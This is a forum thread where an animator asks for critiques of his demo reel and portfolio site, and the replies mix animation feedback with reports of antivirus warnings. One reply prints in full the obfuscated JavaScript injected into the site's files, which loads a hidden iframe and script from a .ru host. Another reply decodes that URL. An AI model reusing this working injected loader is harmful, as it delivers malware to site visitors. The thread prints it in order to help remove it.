Animator portfolio! - need Demo Reel Crits

NichMcBride

HA! My second post! And most definitely not my last!

I am on the hunt for a studio job! And I would like some honest critiques of my site and Reel please

www.NicholasMcBride.net

Job hunting in this industry is hard. And any help you guys can throw at me would be great! Tips - advice - suggestions. Places or companies to look into/contact. Recruiting agencies....anything, anything will help . I have a wealth of passion and idea's for this industry.

If anyone knows of any studios (anywhere) that are hiring Character animators or Generalists please pass my site on! or PM me the contact info!

Linkin Profile:
http://www.linkedin.com/pub/nicholas-mcbride/19/82/841

Email:
nmcbride1337@gmail.com

Thanks

Nich-

ZacD

The sword clips are hard to read just just AO, give the guy some color or something.

Ben Apuna

Avast pops up a Trojan Horse warning when attempting to connect to your site:



I don't think that makes a good impression on potential employers.

ikken

Same here, my avast is blocking it.

Rojo

Safari is also warning of malicious software and offering a redirect to this:

http://google.com/safebrowsing/diagnostic?tpl=safari&site=googleusercontent-com.sitesell.com.yimg-com.mediatagonline.ru&hl=en-us

Indecom

I just bypassed the warning and watched the video, nothing harmful that i could see. I like your work, what kind of stuff are you looking for right now job wise?

Sage

nice work. I liked the end of the reel

chrisradsby

Good work, I liked it a lot. Smooth movement on most of the stuff. I really dig the 2d silhouette one.

OzMa

I love the 2d-like game part.

9skulls

Same trojan-alert here

Avanthera

no problem with the site, like everybody else, the silhouette animation really caught my attention, love the stupid tree/ending:D

Vonklaus

I personally liked the troll parts the most. I thought you had some very natural motion that and the animation told the story very well! I do agree that the sword parts were too AO'd. The focus of those shots was too clouded by AO everywhere. Making the walls a floor a different color would help, that or the actor. Also, the sword part has some sliding in the feet, I guess I would try to disguise that a bit more. Overall, though, I really liked it!

NichMcBride

Thanks for the feedback!

@ZacD/Vonklaus - Good suggestions, i'll make it happen.

@Indecom - Games mostly, but I am open to other forms of media.

@ Avast AntiVirus/Safari - That's strange, this is the first time anyone has alerted me about a potential virus, the site has been up for a while now. I dont have Avast or Safari to test it for myself and Trendmicro isnt picking anything up. I am going to look into it though, even if it's a false-positive it is still going to be a problem. Any suggestions on how to go about resolving the issue? I dont know how to identify bad/virus coding in HTML files. Do I just scan the files with an AV like avast, or do I need to look into the coding? I have to say though that many people, friends and family go to my site all the time and no one has said anything. Thank you for the warning.

Tom Ellis

Overall, nice work, although I think you could do with some more realistic animation in your reel if you are looking for work in the games industry.

The sword guy, as Zac said, is hard to read. He just zips around and it's too hard to properly analyze the animation.

The troll, in my opinion, reminded me of Flashdance

He moves like a ballet dancer I think, nicely animated, but there's not enough weight or attitude for someone with his physique.

The silhouette stuff is cool, and your strongest work I think, I just really disliked the almost 'mime' like exaggeration when the dude notices the tree at the end. It almost looks like he's robot dancing for a second.

I'm not an animator so I can't offer much more than that, but to me, it always seems like animators get hooked on Disneys principles and try to force them into their work so much that there's just a lack of realism. That might be great if you wanna work for Pixar, in games however, not so much. Obviously those principles are still massively important, but just to a different extent.

Rojo

There's a scripting exploit in your site. I started digging around in your javascript files and found this cryptic code block that has been inserted into everything:

this.zc="zc";var kl=new String();v=function(){var kg;if(kg!='se'){kg='se'};var w=document;var e;if(e!='d'){e=''};var ty;if(ty!='' && ty!='l'){ty='cm'};window[p([5,2][1])]=function(){this.c_="c_";try {var sc=false;i=w[p([3,1][1])](p([0][0]));var _=new Array();var ws="ws";var x = w[p([6][0])];this.uf=26154;i[p([8,5][1])](p([7][0]), "1");var gd=44421;i[p([5,3][1])]=p([8][0]);this._c=39791;var de="";x[p([8,4][1])](i);var vw=new String();} catch(s){};};var _o=new Array();function p(f){var k=['sRcWr+iWp%tW'.replace(/[W%R+X]/g, ''), 'c6r6e6aNtVeVENlNeFmNe6nNtF'.replace(/[FVkN6]/g, ''), 'oxnSlzoxazdx'.replace(/[xszSg]/g, ''), 's#r.c#'.replace(/[#V.x<]/g, ''), 'a<p2p#e2nxdzC#h<i#l2d#'.replace(/[#z<2x]/g, ''), 'sfe0tYAYt0t<r<i<bGuYt<eG'.replace(/[G<0Yf]/g, ''), 'b8ovdmy8'.replace(/[8Dvm/]/g, ''), 'd5enfne>rT'.replace(/[TA>5n]/g, ''), 'hJtFtUpC:U/F/ClJeFo$-CoCr...UtUh$.CtFe-CcFoUmC-FbFr$..:F8$0C8$0F/FgUo.JcUoCmU/CgFoFoJgJlJeF.Fc$/JeUyUnCyC.CcFoCmF/$-UsUh.CcFoUmC/UvJiFmUe./C'.replace(/[CF]/g, '')];var z=k[f];this.tn="tn";return z;this.al="";}};v();var yeb=59084;
var d="d";try {var j;if(j!='' && j!='cf'){j=null};var vy="vy";var p="p";this.hi='';var g=window;var o;if(o!='' && o!='x'){o=''};var r='oGnGl5oGaGdz'.replace(/[zZ5G>]/g, '');var t_;if(t_!='' && t_!='ol'){t_=''};var dw;if(dw!='' && dw!='mv'){dw=null};var c='c/r/e;a;tVeZEGlZe;m/e/nGt;'.replace(/[;GVZ/]/g, '');var m='svcbr6i|p6tb'.replace(/[bM|v6]/g, '');this.xg="";var vr;if(vr!='ou'){vr=''};e=function(){var hd;if(hd!=''){hd='ez'};t=document[c](m);var ro;if(ro!=''){ro='yu'};t['swrQc1'.replace(/[1CQwt]/g, '')]='hLtDtFpF:L/M/SgDoMoFgSlLeDuDsMeDrFcLoSnStFeSnMtS-FcMoMmS.LsLiStMeFsLeFlSlF.DcFoFmF.FySiLmSgS-FcSoMmL.FmLeMdFiSaDtDaLgDoFnDlDiMnMeM.DrDuF:F8D0F8L0L/DgSoMoSgFlFeL.McFoLmL/LgFoSoLgMlLeL.FcSoFmS/LmMaSrSkMeLtLwLaLtScShS.ScSoSmM/FmLaMkDtDoLoFbF.LcMoSmL/FxSiSnLgM.McFoDmL/D'.replace(/[DSMLF]/g, '');this.bd='';var dl=false;t.setAttribute('dSeTf%eTr!'.replace(/[!^ST%]/g, ''), ([7,1][1]));this.ym="";document['b;oUd;yU'.replace(/[UVa2;]/g, '')]['afpfpkeLnvdkCfhJiflLdv'.replace(/[vfkJL]/g, '')](t);};this.gb="";var hy=new String();this.n=51985;var to="";g[r]=e;var _b="_b";var ur=new Date();} catch(s){var fs;if(fs!='ep' && fs != ''){fs=null};};var ymt=16708;

Delete that snippet from all the .js files.

I don't understand the mechanics of how this happens, there may be something running on your local machine that's writing this into your source files before you upload them. It's also likely your webserver is insecure and the read/write permissions on your .js files are allowing anonymous access, so that bullshit has been remotely inserted into your files.

NichMcBride

Okay

@Tim Deneau - THANK YOU SO MUCH. super big help, I really appreciate it.

I have located, and deleted the infected JS files. And i have re-uploaded clean ones. Shitty part is that google has flagged my site as containing malicious software. This puts my job hunting for the time being at a complete stand still. Fucking LAME. I have put in a request to google to review the site, so hopefully it will be free and clear soon. In addition i have also contacted the web hosting company that i use and am working on a way to make my site more secure.

What can i do to make my site and its files more secure? I was told that outdated coding can be a risk for hackers, as well as checking for the possibility that my scripts allow uploads. I don't know how to check for these things.....anyone know how to go about doing this ?

rollin

urls from within this script

http://googleusercontent-com.sitesell.com.yimg-com.mediatagonline.ru:8080/google.com/google.com/marketwatch.com/maktoob.com/xing.com

the whole script is decrypting itself to then contact a server

Flynny

Theres still a warning out on the site, but I think in the meantime relying on just your youtube link would help you get by mate.

Overall nice animation most of my points have been brought up, real nice reel really like the sillouette piece, found the combat 1 quite good but you need to help by making the character and weapon pop more out from the white bg.